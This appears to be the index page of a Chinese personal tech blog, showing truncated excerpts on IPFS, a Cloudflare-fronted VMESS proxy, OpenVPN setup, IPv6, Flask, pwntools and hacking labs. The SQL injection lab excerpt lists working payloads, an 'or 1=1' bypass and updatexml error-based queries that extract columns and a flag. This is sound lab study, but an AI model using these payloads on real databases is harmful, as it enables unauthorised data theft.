IPFS使用篇
安装和启动ipfs首先是安装ipfs,这里我选择在linux上安装,其他安装教程详见https://ipfs.tech
12345678正常安装使用wget https://dist.ipfs.tech/kubo/v0.20.0/kubo_v0.20.0_linux-amd64.tar.gz之后解压tar -zxvf kubo_v0.20.0_linux-amd64.tar.gzcd kubosudo bash install.sh输出Moved ./ipfs to /usr/local/bin即成功。ipfs --version查看版本
初始化
123如果在小机器上安装使用ipfs init --profile=lowpower或者ipfs init
启动进程
12ipfs daemon我们记下端口号
查看类似节点
1ipfs swarm peers
创建一个文件放到ipfs里面去
1234echo "meow" > meow.txtipfs add meow.txt我们会得到一个meow.txt的CID,关于CID详见我的ipfs上一篇文章curl &qu ...
ipfs and Merkle DAGs in web3
introduction to IPFS(Interplanetary File System)ipfs is intended to complement http.
Today’s networks are inefficient and expensive, and network resources are centrally deployed, limiting individual opportunities. In addition, Web pages have an average lifespan of 100 days, making it difficult to store data for long periods of time. IPFS makes it easy to set up an elastic network for mirrored data. The most important point is that ipfs is based on content addressing, similar to the information- ...
搭建一个基于VMESS协议的cloudflare自选ip代理连接
这篇文章的前置内容为搭建基于VMESS协议的代理,连接服务器,前提是服务器ip没有被阻拦的情况下。
本片文章基于服务器ip被阻拦,无法直接ping通。
域名注册我们需要两个域名,可以到namesilo去注册海外域名。我们购买完域名之后会进入域名管理界面。
这是我完成修改的结果。
域名解析服务商修改我们需要修改NameServers,其中一个可以改为国内很方便的dnspod服解析务商,也就是使用
12side.dnspod.netharley.dnspod.net
作为域名解析服务器,当然可能不全是我上面所写,dnspod提供给某个人的可能不同
这里添加域名之后,它会提供我们域名解析服务商,然后添加到下图的框中。
之后注册cloudflare账号,并且添加另一个域名。这里按照它的步骤进行。其中,
在设置ssl时选择full但并不用scrict。注意一定要选择Full!!!
这一项可选可不选。
添加解析记录和回溯路我们给cloudflare解析的域名添加一条DNS记录,指向我们要绕过阻拦访问的服务器,所以直接将解析内容添加服务器ip即可,记录为A记录。
注意:要解析的域名必须写子 ...
用openvpn配置一个vpn
安装openvpn客户端这里直接上官网安装对应主机型号的客户端。比如我是macos系统,则对应https://openvpn.net/client-connect-vpn-for-mac-os/
注意!在mac m1上连接到vpn时,要手动运行一个命令
1sudo /Library/Frameworks/OpenVPNConnect.framework/Versions/Current/usr/sbin/ovpnagent
如果能够连接就不用运行,不能连接运行一下即可!
安装openvpn服务器1sudo apt install openvpn easy-rsa
配置服务器端openvpn密钥文件openvpn服务器需要四个密钥文件ca.crt, server.crt, server.key,和dh1024.pem。幸好服务器端已经给出我们模板,但是不幸的是,这是密钥啊,肯定不能用模板啊,要自己生成。先创建一个文件夹
1sudo mkdir /etc/openvpn/keys
然后安装easy-rsa
1sudo apt-get install easy-rsa
我们可以搜索easy- ...
lab-hackthebox-Responder_NTLM
首先我们利用openvpn连接到靶场内网(openvpn构造vpn我们下节再来讲)。
然后我们开始扫描端口,以下应该是nmap中最快而且最全面的扫描没有之一
12345678910sudo nmap -sS -Pn -n --open -p- --min-rate 5000 10.129.241.68Some closed ports may be reported as filtered due to --defeat-rst-ratelimitPORT STATE SERVICE80/tcp open http5985/tcp open wsman7680/tcp open pando-pubNmap done: 1 IP address (1 host up) scanned in 33.98 seconds
扫描结果如上。
这里的5985是WinRM也就是windows远程管理协议的端口。
能够使得网络上连通的机器远程执行命令,并且能够在远程监控,管理和配置服务器操作系统和客户端等。
lab-8-sqli
1select * from username where user='admin' or 1=1 #'
1searchitem=flag' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='flags'),0x7e),1) #
1searchitem=flag' and updatexml(1,concat(0x7e,(select group_concat(flag) from sqli.flags),0x7e),1) #
1searchitem=flag' and updatexml(1,concat(0x7e,(select substr(flag,-30) from sqli.flags),0x7e),1) #
ipv6详解
更详细的内容请见
https://blog.csdn.net/qq_38265137/article/details/80439611?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522168157237616800188531126%2522%252C%2522scm%2522%253A%252220140713.130102334..%2522%257D&request_id=168157237616800188531126&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~all~top_positive~default-1-80439611-null-null.142^v83^insert_down38,239^v2^insert_chatgpt&utm_term=ipv6&spm=1018.2226.3001.4187
首先我们知道ipv6地址是128位,用冒号分隔开,分隔成8段,每段16位,但是 ...
Pear Admin flask开发
我们首先在gitee中按照教程拉取项目到本地,进行部署和运行,
1git clone 之后
我们进行初始化的一些设置
1234flask db init#创建一个数据记录框架文件,下面的操作要向框架文件中填入初始化数据flask db migrate -m "数据初始化"flask db upgrade最后向数据库中写入我们本项目需要的表中的数据flask admin init#创建admin用户的相关信息
到此部署成功。
lab7_Binary_Exploit_pwntools
pwntools库可以用python中的pip安装。常见函数区别
12345678p32()32位整数转换为4字节的二进制表示形式p64()将64位整数转换为8字节2进制表示process()连接本地remote('ip',port)连接远程ELF.symbols()获取elf文件中符号表信息的函数elf.symbols[‘main’]将会返回指向main函数的地址recvuntil(str)就是接收data一直到特殊的str出现//recvuntil("123")interactive()让我们进行交互式shell
需要注意的是,p32()和p64()函数是按照机器的大小端模式(endianness)来生成二进制表示形式的。在大多数x86架构的系统中,使用小端模式(little-endian)来存储数据,因此生成的二进制表示形式是小端模式的。如果要在大端模式(big-endian)系统上使用这些函数,可能需要使用pack()函数来指定字节顺序。
12p32(0x01020304)存入内存中其实就变成b'\x04\x03\x02\x01 ...